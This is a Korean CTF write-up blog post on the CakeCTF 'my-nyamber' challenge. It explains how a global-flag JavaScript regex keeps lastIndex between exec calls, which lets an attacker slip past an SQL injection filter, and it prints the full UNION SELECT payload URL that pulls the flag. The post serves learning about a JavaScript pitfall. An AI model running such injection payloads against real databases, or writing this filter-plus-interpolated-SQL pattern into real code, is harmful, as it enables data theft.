Profile

i love cat

as3617

Weird Javascript

주말에 ctf를 하는데 문제를 풀면서 굉장히 이상한 걸 발견했다.

/* cakectf my-nyamber */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {   
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

대충 문제 코드는 이랬는데 filter을 bypass해서 sql injection을 해야한다. 근데 코드만 봤을 땐 bypass가 안된다.
그런데 이상한 걸 발견했다.

신기하다

크롬 자바스크립트 콘솔에서도 동일하게 작동하는 걸로 봐선 nodejs 자체의 문제가 아니라 javascript 자체의 문제인 것 같다.
대충 동작을 보면 아래와 같다.

첫 번째 match -> success
두 번째 match -> null
세 번째 match -> success
네 번째 match -> null

짝수번 match에서 null을 반환하는 것을 알 수 있다.

혹시나 하는 마음에 다른 정규식함수들도 동일하게 작동하는지 확인해봤는데 RegExp.prototype 계열 함수들만 해당 문제가 동일하게 발생한다.

이제 이런 신기한 현상이 있다는 걸 알았으니 왜 터지는지 알아내면 된다.

우선 공식 사이트를 확인해봤다.
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec

뭔가를 찾은 것 같다. 저부분을 해석해보면 global flag를 RegExp에서 사용하는 경우 exec나 test 메소드를 이용하여 여러번 동일한 문자에서 다음에 나타나는 일치하는 문자열을 찾을 수 있도록 lastindex 속성을 생성해준다고 한다.

실제로 match된 index를 lastIndex 속성으로 설정해주고 있다.
그럼 이제 이 다음 match는 저 lastIndex 속성을 기준으로 search를 하게 되는 것이다. 자 그럼 이제 해당 문제에서 어떻게 우회를 할 수 있었던 것인지 확인해보자.

해당 문제를 풀이하는데 쓴 payload는 다음과 같다.

http://web.cakectf.com:8002/api/neko?name[0]=Nyanta&name[1]=Nyanta&name[2]=%27union/**/select/**/1,2,1,4/*&name[3]=%27union/**/select/**/1,2,flag,4/**/from/**/flag/*

nodejs에선 위의 요청을 아래와 같이 해석한다.

name parameter : [
                0 : Nyanta
                1 : Nyanta
                2 : 'union/**/select/**/1,2,1,4/*
                3 : 'union/**/select/**/1,2,flag,4/**/from/**/flag/*
                ]

해당 문제에선 name 파라미터에 담긴 값이 string이 아니면 for문을 이용하여 정규식 일치를 진행한다.

for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }

이 상태로 match를 진행한다면 총 4번 정규식 일치를 진행하게 될 것이고 lastIndex값은 다음과 같이 변하게 된다.

first match : lastIndex - null
second match : lastIndex - null
third match : lastIndex - 0
fourth match : lastIndex - null

위에서 알아낸 대로 lastIndex가 설정되있다면 해당 index를 기준으로 그 다음 문자열부터 정규식 일치를 진행하게 되고 따라서 4번째 정규식 일치에서는 u부터 match를 진행하여 filter을 우회할 수 있게 되는 것이다.

그래서 특별한 일이 아니면 여러 문자에 정규식 일치를 진행할 땐 RegExp.prototype 계열 함수들보단 String.prototype.match와 같은 함수를 사용하는 것이 좋다.

 

결론적으론 생각했던 것보다 간단하고 버그가 아니라 함수의 스펙이였던 것이지만 아무리 생각해도 자바스크립트는 정말 이상하다.

1분 40초 차이로 승현님보다 플래그 늦게 인증해서 퍼블 못땄다.

 

mhibio

고수';

2021.08.29 23:58 · 수정/삭제 · 댓글

TroubleMaker

ㄷㄷ

2021.08.30 10:07 · 수정/삭제 · 댓글

pocas

좋은 내용 배워 갑니다

2021.08.30 23:56 · 수정/삭제 · 댓글